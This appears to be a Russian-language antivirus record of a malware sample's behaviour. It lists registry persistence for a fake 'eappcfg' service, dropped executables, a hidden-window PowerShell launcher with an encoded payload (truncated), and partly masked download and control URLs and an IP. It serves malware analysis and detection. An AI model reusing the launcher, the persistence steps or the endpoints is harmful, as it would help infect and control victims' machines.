Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\eappcfg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\eappcfg] 'ImagePath' = '"%WINDIR%\SysWOW64\msvcr100d\eappcfg.exe"'
- 'eappcfg' "%WINDIR%\SysWOW64\msvcr100d\eappcfg.exe"
- 'eappcfg' %WINDIR%\SysWOW64\msvcr100d\eappcfg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABQADcAdAAwADAAbQBzAD0AKAAoACcARgBkACcAKwAnADQAJwApACsAKAAnADQAJwArACcAbgA1AHMAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcA...
- %HOMEPATH%\pdm46ww\r2yha59\slk0lv.exe
- %WINDIR%\syswow64\msvcr100d\eappcfg.exe
- %HOMEPATH%\pdm46ww\r2yha59\slk0lv.exe в %WINDIR%\syswow64\msvcr100d\eappcfg.exe
- '20#.#2.141.45':80
- http://lb####putacion.com/services/eY3/
- http://sh##.##menhealthy.com/wp-includes/Ltj/
- http://20#.#2.141.45/iRsDnxDGc096ft0/5xC2Oti4Ool2y9dffME/HarnlGx6JEI9g/9kY7F7G1GzJCSP6Afn/DjsjDvjQ8fGWE7cGYNc/TCgKzXfz3S8/
- DNS ASK lb####putacion.com
- DNS ASK sh##.##menhealthy.com
- '%HOMEPATH%\pdm46ww\r2yha59\slk0lv.exe'
- '%WINDIR%\syswow64\msvcr100d\eappcfg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABQADcAdAAwADAAbQBzAD0AKAAoACcARgBkACcAKwAnADQAJwApACsAKAAnADQAJwArACcAbgA1AHMAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlACcAKwAnAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcA...' (со скрытым окном)